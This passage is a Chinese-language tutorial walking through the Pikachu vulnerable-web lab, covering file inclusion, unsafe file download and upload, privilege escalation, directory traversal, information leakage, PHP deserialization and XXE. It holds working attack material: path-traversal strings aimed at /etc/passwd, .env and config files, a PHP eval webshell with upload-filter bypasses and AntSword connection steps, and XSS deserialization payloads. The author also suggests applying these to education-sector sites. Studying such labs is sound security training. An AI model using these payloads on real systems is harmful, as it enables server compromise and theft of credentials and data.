配置选项：显示PHP的配置文件（php.ini）中的所有设置，包括是否启用了某些扩展（如 mysqli、curl 等）、内存限制（memory_limit）、文件上传限制（upload_max_filesize）等。

环境变量：列出当前运行环境的变量，如服务器类型（Apache、Nginx）、操作系统、运行模式（CGI、CLI 等）。

敏感信息泄露：phpinfo() 会输出大量的系统信息，包括服务器的IP地址、操作系统版本、数据库连接信息等。如果这些信息被泄露，可能会被攻击者利用来发起攻击。

配置漏洞检查：通过查看 phpinfo() 的输出，可以检查是否存在不安全的配置，例如 display_errors 是否开启（这可能导致错误信息泄露）、allow_url_include 是否被禁用（防止远程文件包含漏洞）等。

接下来是一些代码示例，大家可以自己去尝试

phpversion()

作用：返回当前PHP的版本号。

用途：当你只需要获取PHP版本信息时，phpversion() 比 phpinfo() 更简洁

php_uname()

作用：获取当前服务器的系统信息。

参数：

'a'：返回所有信息（系统类型、主机名、版本等）。

's'：返回系统类型（如 Linux、Windows）。

'n'：返回主机名。

'r'：返回系统版本。

'm'：返回机器类型（如 x86_64）。

用途：用于快速获取服务器的系统信息

get_loaded_extensions()

作用：获取已加载的PHP扩展列表。

用途：检查当前环境是否加载了某些必要的扩展

ini_get()

作用：获取某个配置项的值。

用途：用于检查特定的PHP配置是否符合要求

get_cfg_var()

作用：获取PHP配置文件中的变量值。

用途：与 ini_get() 类似，但可以获取更多配置信息

php_sapi_name()

作用：获取当前PHP的运行模式（如 cli、apache2handler、fpm-fcgi 等）。

用途：用于判断当前PHP是运行在命令行模式还是Web服务器模式。

至此exec-eval完成

六，File inclusion

介绍

File Inclusion(文件包含漏洞)概述

文件包含，是一个功能。在各种开发语言中都提供了内置的文件包含函数，其可以使开发人员在一个代码文件中直接包含（引入）另外一个代码文件。 比如 在PHP中，提供了：
include(),include_once()
require(),require_once()
这些文件包含函数，这些函数在代码设计中被经常使用到。

大多数情况下，文件包含函数中包含的代码文件是固定的，因此也不会出现安全问题。 但是，有些时候，文件包含的代码文件被写成了一个变量，且这个变量可以由前端用户传进来，这种情况下，如果没有做足够的安全考虑，则可能会引发文件包含漏洞。 攻击者会指定一个“意想不到”的文件让包含函数去执行，从而造成恶意操作。 根据不同的配置环境，文件包含漏洞分为如下两种情况：
1.本地文件包含漏洞：仅能够对服务器本地的文件进行包含，由于服务器上的文件并不是攻击者所能够控制的，因此该情况下，攻击者更多的会包含一些 固定的系统配置文件，从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞，从而形成更大的威力。
2.远程文件包含漏洞：能够通过url地址对远程的文件进行包含，这意味着攻击者可以传入任意的代码，这种情况没啥好说的，准备挂彩。

因此，在web应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数，如果非要这么做，也一定要做严格的白名单策略进行过滤。

你可以通过“File Inclusion”对应的测试栏目，来进一步的了解该漏洞。

个人评价：和上期内容差不多，但是相当于上期内容的拓展方面

适用场景：只要有文件上传的接口的网站就很可能有相关的漏洞

实际反馈：同上面内容一样，如果你有"米奇妙妙工具"最好

1，本地文件包含

原理

允许攻击者通过恶意构造的路径包含本地服务器上的任意文件，进而导致敏感信息泄露，甚至远程代码执行。（这个和我们上面的内容有联系）

想象一下，你有一个智能音箱，它能根据你说的要求打开你手机里的某个文件夹里的小说并读出来。如果你能骗它去读它不该读的文件，比如手机里的聊天记录文件，它就把内容读出来给你听，这就相当于泄露了不该泄露的信息。类似地，网站程序在读取文件时，如果不对文件路径进行限制，攻击者就可以通过构造恶意请求，让网站程序去读取服务器上的敏感文件，比如系统文件或者别的用户的数据文件。

实践

先随便开一个

然后我们改一下

类似于这样，我们可以通过这样的方式来进行本地文件查询

比如

filename=C:/../../../../Windows\win.ini&submit=提交查询

我们先来解释一下这个代码的意思

参数 filename 后面跟的值就是用户要请求包含的文件路径。这里的 C:/../../../../Windows\win.ini 是一个特殊的路径，目的是尝试访问系统目录下的文件。

在这个例子中，攻击者通过使用 ../../../../ 这样的目录遍历符来逐级向上跳转目录。每个 ../ 表示返回上一级目录。

从 C:/ 开始，../ 会跳转到根目录的上一级，但这在 Windows 系统中是不合理的，因为根目录已经是最高级目录。不过这在某些 Web 应用程序的路径处理机制下可能会出现意外行为。然后继续跳转到 /Windows 目录下的 win.ini 文件。

同原理，以下的内容由大家自行尝试

windows环境下

?filename=C:\Windows\win.ini&submit=Submit 
这是经典的尝试读取系统配置文件路径，win.ini 文件包含一些系统相关的配置信息，攻击者可能想通过读取该文件来获取系统的一些基础设置，判断系统类型、版本等基础信息。
?filename=C:\Windows\System32\drivers\etc\hosts&submit=Submit 
hosts 文件用于将主机名映射到 IP 地址，攻击者读取这个文件可能想了解系统网络配置情况，查看是否有自定义的主机映射规则，用于后续可能的网络攻击路径规划。
?filename=C:\Program Files\Common Files\System\Ole Server\mso97.dll&submit=Submit 
读取系统中的动态链接库文件，虽然这个文件通常是正常的系统组件，可能通过读取它来分析系统环境、加载其中可能存在的特殊函数调用等情况。

linux环境下

?filename=/etc/passwd&submit=Submit 
这是典型的 Linux 系统中包含用户信息的文件，读取该文件来获取系统用户账号列表及相关的基本用户信息，如用户名、用户 ID、所属组等，为后续可能的权限提升或横向移动攻击做准备。
?filename=/etc/hosts&submit=Submit 
与 Windows 下的 hosts 文件类似，用于查看 Linux 系统的主机名到 IP 地址的映射情况。
?filename=/var/log/apache2/access.log&submit=Submit 
读取 Web 服务器的访问日志文件，攻击者可以从中了解该服务器近期被访问的详细情况，包括访问的 IP 地址、访问的页面路径、访问时间等，从而分析出网站的热门页面、可能存在的其他安全漏洞相关的访问痕迹。

2，远程文件包含

原理

允许攻击者通过提供远程URL，包含并执行远程服务器上的文件。这通常会导致远程代码执行，攻击者可以上传恶意脚本并在受害服务器上执行。

这就好比你的智能音箱不仅能打开本地文件夹里的文件，还能通过互联网去打开别人网站上的文件。这样一来，攻击者可以在自己的服务器上放一个恶意文件，然后让智能音箱去读取并执行这个恶意文件，从而控制你的智能音箱。同样地，网站程序如果允许从外部网络获取文件，攻击者就可以在远程服务器放置恶意代码文件，让网站程序去包含并执行，从而达到攻击目

实践

和上面差不多，用这个就行

http://www.baidu.com&submit=提交查询

用这个可以看远程服务器的文件

把域名也就是www.baidu.com改一下，再进行

至此file inclusion模块全部完成

七，Unsafe Filedownload

介绍

不安全的文件下载概述

文件下载功能在很多web系统上都会出现，一般我们当点击下载链接，便会向后台发送一个下载请求，一般这个请求会包含一个需要下载的文件名称，后台在收到请求后 会开始执行下载代码，将该文件名对应的文件response给浏览器，从而完成下载。 如果后台在收到请求的文件名后,将其直接拼进下载文件的路径中而不对其进行安全判断的话，则可能会引发不安全的文件下载漏洞。
此时如果 攻击者提交的不是一个程序预期的的文件名，而是一个精心构造的路径(比如../../../etc/passwd),则很有可能会直接将该指定的文件下载下来。 从而导致后台敏感信息(密码文件、源代码等)被下载。

所以，在设计文件下载功能时，如果下载的目标文件是由前端传进来的，则一定要对传进来的文件进行安全考虑。 切记：所有与前端交互的数据都是不安全的，不能掉以轻心！

你可以通过“Unsafe file download”对应的测试栏目，来进一步的了解该漏洞。

个人评价：很常见，因为很多网站都有下载文件的功能，这就是我们的切入点。（对于一些个人网站开发者来说，这是非常重要的防护点，因为服务器可能会产生一些重要文件，但是由于疏忽或者不了解，可能会导致严重的数据泄露特别是服务器的缓存，日志之类的，切记定期回收）

适用场景：所有有下载文件功能的网站都可能有这个漏洞

实际反馈：对于大企当然很难，但是对于一些个人开发者而言，很可能从中获取敏感信息

原理

若后台在拼接下载文件路径时，未对用户传入的文件名进行安全判断，直接将其拼接到路径中，攻击者就可提交精心构造的路径，如../../../etc/passwd，越权下载指定文件，导致后台敏感信息泄露，像密码文件、源代码等

这个漏洞类似于一个图书馆允许你借阅任何一本书，但是一些书籍被屏蔽掉了。如果你知道图书馆的书籍结构，就可以通过去特殊的位置来那些获取那些本该受限的书籍。 （比较恶心，因为实际应用中还是需要一个一个的尝试来确定结构，从而确定漏洞位置）

实践

正如上面的原理说的，我们可以通过构造一些路径来获取信息

我们先来抓个包分析一下

我们可以看到我们的url指向了科比布莱恩的png图片，我们以这里为切入点进行路径构造

../../../index.php

（这里下载的源文件，不是很敏感的文件，但是可以知道，如果没有做这方面的防护，敏感信息迟早要漏完）

或者

../down_nba.php

以此类推，由于我们知道皮卡丘的文件，所以我们可以知道他们的路径和下载文件的名字

但是正常来说我们不可能知道，这就要用到一些"米奇妙妙工具了"（之后会发）

但是手动进行的话，可以帮助我们了解，大家可以自己试试以下内容

### 配置文件类
- `../../../config.php`：可能会包含数据库连接信息、管理员账号等敏感数据。
- `../../../.env`：在一些现代Web应用中，该文件用于存储环境变量，可能包含各种敏感信息，如数据库凭证、API密钥等。

### 日志文件类
- `../../../logs/error.log`：可能包含应用程序的错误信息，如SQL查询错误、路径泄露等，有时会暴露敏感信息。
- `../../../var/logs/access.log`：记录了用户访问的详细信息，可用于分析用户行为或寻找其他潜在漏洞。

### 源码文件类
- `../../../application/controllers/Admin.php`：获取控制器文件，了解后台管理逻辑。
- `../../../application/models/User_model.php`：获取模型文件，查看用户数据处理逻辑。

### 数据库文件类（如果文件下载漏洞能访问到数据库文件）
- `../../../database.db`：SQLite数据库文件。
- `../../../mydb.sql`：MySQL等数据库的备份文件，可能包含表结构和数据。

### 系统文件类（如果靶场环境允许访问系统文件）
- `../../../../../etc/passwd`：Linux系统用户信息文件（通常用于测试路径遍历）。
- `../../../../../boot.ini`：Windows系统启动配置文件（在Windows环境下）。

### 其他常见文件
- `../../../.git/index`：如果项目使用Git版本控制，访问`.git`目录下的文件可能会暴露项目的所有历史提交信息和代码。
- `../../../robots.txt`：虽然通常不太敏感，但可能会泄露网站的目录结构或禁止访问的路径。

至此，Unsafe Filedownload模块完成

八，Unsafe Fileupload

介绍

不安全的文件上传漏洞概述

文件上传功能在web应用系统很常见，比如很多网站注册的时候需要上传头像、上传附件等等。当用户点击上传按钮后，后台会对上传的文件进行判断 比如是否是指定的类型、后缀名、大小等等，然后将其按照设计的格式进行重命名后存储在指定的目录。 如果说后台对上传的文件没有进行任何的安全判断或者判断条件不够严谨，则攻击者可能会上传一些恶意的文件，比如一句话木马，从而导致后台服务器被webshell。

所以，在设计文件上传功能时，一定要对传进来的文件进行严格的安全考虑。比如：
--验证文件类型、后缀名、大小;
--验证文件的上传方式;
--对文件进行一定复杂的重命名;
--不要暴露文件上传后的路径;
--等等...

你可以通过“Unsafe file upload”对应的测试栏目，来进一步的了解该漏洞。

个人评价：会用到非常多的"米奇妙妙工具"，只要有一定的开发基础理解起来会非常容易（没有的也别担心，会一一解释的，只是领悟的时间问题而已）

适用场景：有文件上传功能的网站都可以

实际反馈：用起来很简单，但是很多大厂会有过滤，而且没有长时间的后端了解，盲目进行"米奇妙妙工具"的开发会非常艰难，甚至耗费大量时间，结果没用（在此也强调，如果你幸运的拥有大佬们发出来的"米奇妙妙工具"，请你使用时关掉杀软或者断网进行测试，不要乱传，不仅可能会锒铛入狱，还会让大佬们分享出来的东西被彻底分析透，导致工具失效）

1，client check

原理

它一般指检查客户端输入的安全性。当用户上传文件时，系统会验证文件的扩展名是否符合要求，防止恶意文件被上传。比如，检查上传的文件是否是图片（如.jpg、.png）而不是可执行文件或其他潜在危险的文件。

就好像一个高中的保安一样，通过识别学生的胸牌和校服来决定他是否可以进入校园

但是同样的，找个看起来很年轻的人，让他穿校服，然后伪造一个胸牌，他也可以进入

实践

有了前几期的了解，我们会知道，前端的很多防护形同虚设，有了自由上传的环境后，就到了我们大展拳脚的时候

因此，我就有了第一个最简单的方法进行攻击

也就是禁止JavaScript

这个在之前的暴力破解模块中就有说到，通过禁止JavaScript可以使他简单的前端防护失效

不过在此之前，我们需要先构建一个木马（这个木马是针对服务器的）（为了防止大家迷惑，所以关于木马的知识我会之后单独出一期的，大家先了解本期的理论内容）

<?php  @eval($_POST['shell']); ?>

当然了，知己知彼，方能百战百胜，我们先来分析一下这是什么东西

该代码的主要功能是执行客户端通过 POST 请求发送的 'shell' 参数中的 PHP 代码。黑客可以将恶意 PHP 代码放入 'shell' 参数，服务器端接收到后会直接执行，从而实现远程代码执行，对服务器进行控制、窃取数据、发起攻击等恶意操作。

<?php 和 ?>这是PHP代码的开始和结束标签，用于包裹PHP脚本代码。
@这是PHP的错误抑制运算符，它会关闭错误报告，即使代码执行失败，也不会输出任何错误信息。这是一种隐藏恶意行为手段，使得代码执行中的错误不会被发现。
eval()这是一个PHP函数，它会将传入的字符串作为PHP代码来执行。它是这段代码的核心危险所在。
任何通过$_POST['shell']传递的字符串都会被当作PHP代码执行。
$_POST['shell']这是PHP的超全局变量，用于接收通过POST方法发送的数据。
shell是一个键名，攻击者可以通过构造特定的POST请求，将恶意代码传递到这个键中。

不了解的朋友可能看不懂，但是别担心，努力学习，都会明白的，毕竟我可以把理论说的通俗一点，但是专用性的内容真的没办法

我们来试一下，木马后缀改为php（切记放入杀毒软件的白名单里，不然刚做出来就被杀了）

可以看到，成功了

同样在打开F12后我们可以看到他的前端防护暴露出来了

把

onchange="checkFileExt(this.value)"

删掉就没问题了

从上图中我们知道的自己的木马位置，接下来就要连接以实现更大程度的破坏，用蚁剑来连接

我这里的url为

http://172.30.160.107/pikachu/vul/unsafeupload/uploads/1.php

ipv4的地址可以通过cmd输入ipconfig来获取

根据各位的情况来修改即可

我们右键选择添加数据后，填入url和密码（密码就是上面的shell）

编码器酌情选择，默认的话就是明码数据，被发现的话一抓一个准，这里用默认的演示

可以看到成功了

在此说明一下，在靶场中我们可以通过查看前端文件来了解木马文件上传位置，在实际操作中我们不可能提前知道，所以要细心观察，通常获取位置的方式有抓包或者通过常用文件夹来试探比如常见的文件夹有/uploads/、/files/、/images/

上传方面经常会用到免杀，隐写等方式来避免被识别

进去以后可以看到出货了

（后面内容同理）

至此，client check完成

2，MIME type

原理

首先，翻译一下什么是MIME 和MIME type

MIME（Multipurpose Internet Mail Extensions，多用途互联网邮件扩展）类型，最初设计用于在电子邮件传输中标识内容格式，现广泛应用于互联网，向服务器和客户端提供文件信息，帮助它们知道如何处理文件。

组成结构 ：由两部分组成，即类型（Type）和子类型（Subtype）。类型表示文件的通用类别，如文本、图像、音频、视频等；子类型则进一步细化，具体说明文件的格式，如纯文本、HTML 文档、JPEG 图像等。

作用机制 ：当客户端向服务器请求文件时，服务器会根据文件的 MIME type 来确定如何处理和传输文件。客户端接收到文件和对应的 MIME type 后，根据已知的类型和子类型，判断如何显示或处理文件，比如用特定的程序打开、在浏览器中直接渲染等。

就好像超市进行商品分区一样，哪怕你是从大山里刚被现代人类带回来，只要认识中文后，进入商城后看分区牌子就知道这是干什么的，大概就是类似于日常生活中"标签"这个概念

实践

直接发送我们可以看到不行，但是我们现在知道MIME的概念了

我们还是用熟悉的yakit抓个包

我们直接换格式（也就是我们原理中谈到的MIME这个东西的使用）

换成他要的格式（这里以image/jpg格式为例，别的格式可以自己尝试比如image/jpeg）

发送，成功

3，getimagesize

原理

同样，我们先来分析，解释这是什么意思

getimagesize() 是一个 PHP 函数，主要用于获取图像文件的尺寸信息（例如宽度和高度）以及其他相关信息，比如图像的类型（格式）和 MIME 类型。如果函数感知不到是图像类型就没用

假设你有一堆照片，每张照片的背面都贴着一个小标签（MIME），上面写着这张照片的尺寸、照片的样式（比如纸质打印的那种和正式的红底，蓝底，白底照片）和其他一些信息（比如拍摄日期）

检查照片：想象你正拿着一张照片，首先确认这张照片是真的，而不是一张废纸。

查看标签：你在照片背面找到那个标签，上面有它的尺寸信息，拍摄时间

读取信息：你仔细看标签上的内容，比如是2025年拍摄的，它是一张彩色的全家福。getimagesize() 函数做的也是类似的事情，它读取图像文件中的标签信息。

整理信息：你把这张照片的尺寸、格式等信息记录下来，方便之后使用。getimagesize() 也会把这些信息整理成一个数组，让你可以方便地使用这些数据。

实践

其实很简单，既然他的函数要识别的到，那我们就给他图片，但是后面加上东西（类似于上面说过的扮演成高中生的社会人士，因为穿了校服，保安就不容易发现）

由此我们就有了攻击思路

也就是把图片和木马内容整合在一起

我们先用记事本打开一个图片（记住要符合他的传送内容的要求）

在这里也解释一下为什么图片用记事本打开会是乱码

为了更好理解我们就用简单的方式来说，如果有朋友想要详细了解，可以自己查找，在此不过多赘述：图片用记事本打开就好像用勺子吃牛排，牛排做的再好，用勺子你也吃不好

然后把木马内容放在结尾（放在结尾是因为函数通常是通过文件特征来识别是什么格式的，放在末尾更安全）

当然用yakit也是可以的，也是将木马内容放在末尾就好，再次便不再赘述

至于之后如何启用连接的话，也会同之后的木马内容一并发出来

至此Unsafe Fileupload模块完成

九，Over Permission

介绍

如果使用A用户的权限去操作B用户的数据，A的权限小于B的权限，如果能够成功操作，则称之为越权操作。 越权漏洞形成的原因是后台使用了 不合理的权限校验规则导致的。

一般越权漏洞容易出现在权限页面（需要登录的页面）增、删、改、查的的地方，当用户对权限页面内的信息进行这些操作时，后台需要对 对当前用户的权限进行校验，看其是否具备操作的权限，从而给出响应，而如果校验的规则过于简单则容易出现越权漏洞。

因此，在在权限管理中应该遵守：
1.使用最小权限原则对用户进行赋权;
2.使用合理（严格）的权限校验规则;
3.使用后台登录态作为条件进行权限判断,别动不动就瞎用前端传进来的条件;

你可以通过“Over permission”对应的测试栏目，来进一步的了解该漏洞。

个人评价：是非常值得学习的一个模块，特别是在挖edu漏洞的时候，是非常有用的

适用环境：就比如各大高校将内网通道放到公网上，本意是以便于学生登录，使用，但是有时候由于疏忽，就可以用到这个漏洞。类似于微信群中的群主，管理员，群员一样，通过漏洞，群员可以获取群主的权限

实际反馈：看脸，有时候效果出奇的好，因为结合前面几期内容，我们获取高权限后可以发布内容来进行大规模的XSS攻击，而且可以访问大量的敏感信息

1，水平越权

原理

水平越权是指攻击者以同等权限的身份，访问或操作其他同级别用户的资源或数据。（当然了，前提是你可以拥有基础权限之后）

就好比在一个班级里，每个同学自己的抽屉有着专属的钥匙，正常情况下只能打开自己的抽屉。如果小明能通过某种方式打开小红的抽屉，查看或者拿取里面的东西，这就是水平越权。

实践

先根据提示的内容进行登录看看

登录后可以看到个人信息，而且我们还可以发现，他是GET方式进行的，因为在地址栏中出现了个人信息

接下来根据提示，换一个名字看看

可以看到，我们成功查看了别人的信息（当然yakit也可以实现）

当然了，这是靶场，相对于正常情况来说，是不同的，需要大家在实际生活中观察

2，垂直越权

原理

垂直越权是指低权限用户通过某种方式获取高权限用户的权限，从而访问或操作超出自身权限范围的资源或功能。

可以想象成一个公司的普通员工，正常情况下只能访问自己的工作区域。但如果这个员工通过某种漏洞可以进入经理的办公室，查看机密文件或操作重要设备，这就是垂直越权。

实践

我们先来看提示，可以看到有两种账户：超级用户和普通用户

我们先来看一下超级用户和普通用户的区别

超级用户

普通用户

可以看到超级用户的权限更高，因为他可以修改用户内容

但是普通用户怎么修改呢

用yakit抓个普通用户的包

先复制cookies（我们之前讲到过cookies几乎就是另一个个人信息单，所以可以当作一个身份牌用）

切换到超级，抓个添加用户的包

我们把普通用户中获取的cookies替换到里面

发送，然后刷新浏览器看看

可以看到有东西了（因为发了两次，所以有两个abc）

由于这个是用于更好的讲解原理，简单的方法如下

先用超级账户复制"添加用户"的url

然后切换到普通账户,URL替换掉

然后就可以看到，普通账户也可以添加了

当然了，在这个靶场中我们是先有了超级用户的权限之后才继续进行的，毕竟实际生活中我们不可能获取，这就要用到"米奇妙妙工具"了，之后我会单独发一篇文章的，在本期内容我们只要了解基本理论即可

十，../../（目录遍历）

（好抽象啊）

什么是"遍历"呢：对学过一些开发语言的朋友来说应该知道，对于不了解的朋友来说，只要知道"遍历"类似于：比如说你有一筐鸡蛋，想要看看有没有坏的鸡蛋，就要一个一个地拿起来，仔细检查每个鸡蛋是否有裂缝或者闻起来有没有臭味。这个一个一个检查的过程，就是"遍历"

介绍

目录遍历漏洞概述

在web功能设计中,很多时候我们会要将需要访问的文件定义成变量，从而让前端的功能便的更加灵活。 当用户发起一个前端的请求时，便会将请求的这个文件的值(比如文件名称)传递到后台，后台再执行其对应的文件。 在这个过程中，如果后台没有对前端传进来的值进行严格的安全考虑，则攻击者可能会通过“../”这样的手段让后台打开或者执行一些其他的文件。 从而导致后台服务器上其他目录的文件结果被遍历出来，形成目录遍历漏洞。

看到这里,你可能会觉得目录遍历漏洞和不安全的文件下载，甚至文件包含漏洞有差不多的意思，是的，目录遍历漏洞形成的最主要的原因跟这两者一样，都是在功能设计中将要操作的文件使用变量的 方式传递给了后台，而又没有进行严格的安全考虑而造成的，只是出现的位置所展现的现象不一样，因此，这里还是单独拿出来定义一下。

需要区分一下的是,如果你通过不带参数的url（比如：http://xxxx/doc）列出了doc文件夹里面所有的文件，这种情况，我们成为敏感信息泄露。 而并不归为目录遍历漏洞。（关于敏感信息泄露你你可以在"i can see you ABC"中了解更多）

你可以通过“../../”对应的测试栏目，来进一步的了解该漏洞。

个人评价：如果有自动化的"米奇妙妙工具"最好，手动一个一个试很麻烦

适用场景：挖掘防守不太严密的网站会用得到，但是对于日常生活来说用处很少

实际反馈：对于挖edu的漏洞来说，还是挺有用的

原理

攻击者通过修改URL中的路径参数，利用服务器对路径验证不严格或存在缺陷，绕过访问限制，非法访问到服务器上其他目录的文件或资源。

原理非常像我们之前说到的RCE，File inclusion，Unsafe Filedownload

实践

知道了原理，我们就可以知道攻击方式了，还是像之前说到的几个模块一样一个一个试

（这个东西要通过url栏来进行）

我们先来一个示例

?title=C:../../../../../../windows\win.ini

意思是访问你电脑上win.ini的文件，当然了，可能没有，因为每个人的电脑使用习惯不同

但是为什么前面用/，后面用\呢

因为"/"是路径遍历符，而../是退回一层目录

"\"是windows的目录分割符，因为经过前面的遍历已经可以进入你的电脑，而你用的是windows系统的电脑所以要用"\"才能继续探索路径

至此，目录遍历模块完成

十一，敏感信息泄露

这个模块对于日后真正的渗透测试来说是非常重要的，代表的是渗透测试中的信息收集，他的占比非常大，需要仔细学习与思考

我们先来翻译icanseeyourABC：我可以看到你的ABC（ABC代表信息）

介绍

敏感信息泄露概述

由于后台人员的疏忽或者不当的设计，导致不应该被前端用户看到的数据被轻易的访问到。 比如：
---通过访问url下的目录，可以直接列出目录下的文件列表;
---输入错误的url参数后报错信息里面包含操作系统、中间件、开发语言的版本或其他信息;
---前端的源码（html,css,js）里面包含了敏感信息，比如后台登录地址、内网接口信息、甚至账号密码等;

类似以上这些情况，我们成为敏感信息泄露。敏感信息泄露虽然一直被评为危害比较低的漏洞，但这些敏感信息往往给攻击着实施进一步的攻击提供很大的帮助,甚至“离谱”的敏感信息泄露也会直接造成严重的损失。 因此,在web应用的开发上，除了要进行安全的代码编写，也需要注意对敏感信息的合理处理。

你可以通过“i can see your abc”对应的测试栏目，来进一步的了解该漏洞。

个人评价：非常重要，但是不知道为什么靶场中的有关内容很少

适用场景：做渗透测试的前期必备

实际反馈：很费时间，但是很重要

原理

单纯就是仔细观察，获取敏感信息，没有很难理解的要点

实践

我们查看他的源代码可以看到泄露了账号和密码

登录

大家可能会觉的敏感信息泄露很简单，但是这是纸上谈兵，类似于高考，你平时学的是泡方便面，但是作业是炒菜，高考是满汉全席，真正用在渗透测试时要用到的有很多。

十二，php反序列化

由题目我们可知这个模块需要一定的php基础，但是没有基础的朋友也别担心，我会详细分析与解释的，希望耐心看完

介绍

在理解这个漏洞前,你需要先搞清楚php中serialize()，unserialize()这两个函数。
            序列化serialize()
            序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象:

    class S{
        public $test="pikachu";
    }
    $s=new S(); //创建一个对象
    serialize($s); //把这个对象进行序列化
    序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
        O:代表object
        1:代表对象名字长度为一个字符
        S:对象的名称
        1:代表对象里面有一个变量
        s:数据类型
        4:变量名称的长度
        test:变量名称
        s:数据类型
        7:变量值的长度
        pikachu:变量值

            反序列化unserialize()

就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。

    $u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
    echo $u->test; //得到的结果为pikachu


序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题

        常见的几个魔法函数:
        __construct()当一个对象创建时被调用
        __destruct()当一个对象销毁时被调用
        __toString()当一个对象被当作一个字符串使用
        __sleep() 在对象在被序列化之前运行
        __wakeup将在序列化之后立即被调用
        漏洞举例:
        class S{
            var $test = "pikachu";
            function __destruct(){
                echo $this->test;
            }
        }
        $s = $_GET['test'];
        @$unser = unserialize($a);
        payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

个人评价：在代码审计或者逆向工程方面有很大帮助，但是需要很多的开发语言基础，因为这个只是php语言的，还有其他语言

适用场景：做代码审计，逆向工程，CTF

实际反馈：如果是打CTF的话，有助于拓展思路，加快解题速度

原理

PHP 反序列化漏洞本质上是由于对用户输入的序列化数据未进行严格验证，导致攻击者可以构造恶意的序列化数据，利用程序中的魔术方法或不安全的类定义来执行恶意操作。

介绍里面说到的内容可能有些麻烦，但是至少我们要了解本模块的知识点，来帮助我们完成靶场。

首先，既然有反序列化，那么一定有序列化的php，我们先了解这个知识

序列化：就像把一个拼好的乐高积木拆开，从而方便装进盒子里存起来

反序列化：就是把盒子里的积木再重新拼成原来的玩具。

由此我们可以知道，php反序列化模块中我们的目标就是把分散开的内容拼接组合好

我们来分析一个实例

<?php
class User {
    public $username;
    public $password;

    public function __construct($username, $password) {
        $this->username = $username;
        $this->password = $password;
    }

    public function __toString() {
        return "User: " . $this->username . ", Password: " . $this->password;
    }
}

if (isset($_GET['data'])) {
    $data = unserialize($_GET['data']);
    echo $data;
}
?>

1. 代码功能
定义了一个
User类，包含username和password两个属性。
__toString()魔术方法用于返回用户信息的字符串格式。
如果$_GET['data']存在，则对$_GET['data']的值进行反序列化，并将其输出。


2. 反序列化漏洞原理
PHP的unserialize()函数会根据输入的序列化字符串创建相应的对象或数组。
如果输入的序列化字符串被攻击者控制，攻击者可以通过构造特定的序列化字符串来触发对象的魔术方法（如__toString()、__destruct()等）。
在这个例子中，攻击者可以通过构造一个包含User对象的序列化字符串，触发__toString()方法。


3. 构造攻击载荷
假设攻击者的目标是通过__toString()方法输出一些恶意信息，比如XSS攻击代码。
攻击者可以构造以下序列化字符串：
O:4:"User":2:{s:8:"username";s:4:"test";s:8:"password";s:18:"<script>alert(1)</script>";}

解释：O:4:"User":2:{}：表示这是一个User对象，对象中有两个属性。
s:8:"username";s:4:"test";：表示username属性的值是test。
s:8:"password";s:18:"<script>alert(1)</script>";：表示password属性的值是<script>alert(1)</script>。


4. 攻击过程
攻击者将构造好的序列化字符串通过URL参数传递给脚本：
http://example.com/vulnerable.php?data=O:4:"User":2:{s:8:"username";s:4:"test";s:8:"password";s:18:"<script>alert(1)</script>";}
当脚本执行时：
unserialize()函数将序列化字符串解析为User对象。echo $data会触发User对象的__toString()方法。
__toString()方法返回
User: test, Password: <script>alert(1)</script>，并将其输出到页面。浏览器会执行
<script>alert(1)</script>，弹出一个警告框。

实践

在上面的介绍中，我们就获取了一个标准的攻击内容

O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

输进去

完成

可能很多朋友会觉得云里雾里，不明白，因为这个模块需要一定的php基础，如果不了解的话，哪怕了解的序列化和反序列化也很难理解，但是只要努力学习，终究会理解的

十三，XXE漏洞

介绍

XXE -"xml external entity injection"即"xml外部实体注入漏洞"。
概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。

具体的关于xml实体的介绍,网络上有很多,自己动手先查一下。
现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。
以PHP为例,在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。

本章提供的案例中,为了模拟漏洞,通过手动指定LIBXML_NOENT选项开启了xml外部实体解析。 

个人评价：需要有一定的网站开发的知识储备

适用场景：适用于任何涉及XML数据解析的应用程序或服务

实际反馈：可以用来攻击内网和读取服务器文件

原理

XXE漏洞（XML外部实体注入）是一种常见的安全漏洞，它允许攻击者利用XML解析器处理外部实体时的安全缺陷，通过注入恶意外部实体，实现敏感数据读取、服务器端请求伪造（也就是SSRF后面会学到）或远程代码执行（RCE）

也就是XML外部实体（XXE）漏洞是指在处理XML输入时，没有正确禁用外部实体引用而导致的安全漏洞。

XXE漏洞就像是一个不设防的快递收发站。

假设你是一个快递收发站的管理员（相当于服务器），正常情况下，你会按照寄件人（外部用户）的要求，接收并转发包裹（数据请求）。但是，这个 XXE 漏洞就好比这个收发站没有对快递包裹进行严格的安检（没有正确配置 XML 解析器）。

攻击者就好比是心怀恶意的寄件人，他们寄来的包裹里面会附带一个特殊的纸条（恶意构造的外部实体引用），比如要求你去隔壁公司的保险柜（系统中的敏感文件，像配置文件、密码文件等）取一份机密文件，然后再把这份文件当作普通包裹寄回给他（把敏感信息泄露出去）。

由于收发站没有安检（服务器存在 XXE 漏洞），它就会按照包裹里的纸条要求去做，导致本该保密的信息被泄露，这就如同服务器执行了攻击者构造的恶意 XML 请求，读取了本地文件等敏感信息并反馈给了攻击者。

很像之前学过的SQL注入，但是是完全不同的，大家一定要仔细理解

因此，我们首先要了解一些新知识

XML声明

假设你正在写一封信，信的开头会写上收信人的地址和邮编等基本信息。XML声明就像是这封信的开头部分，它告诉阅读者（比如浏览器或其他程序）这封信（XML文档）的基本信息。

DTD文档类型定义（Document Type Definition）

假设你写信时，有一套固定的格式要求，比如信必须有开头、正文和结尾，而且开头必须写日期，结尾必须写祝福语。这套格式要求就像是DTD文档类型定义。

文档元素

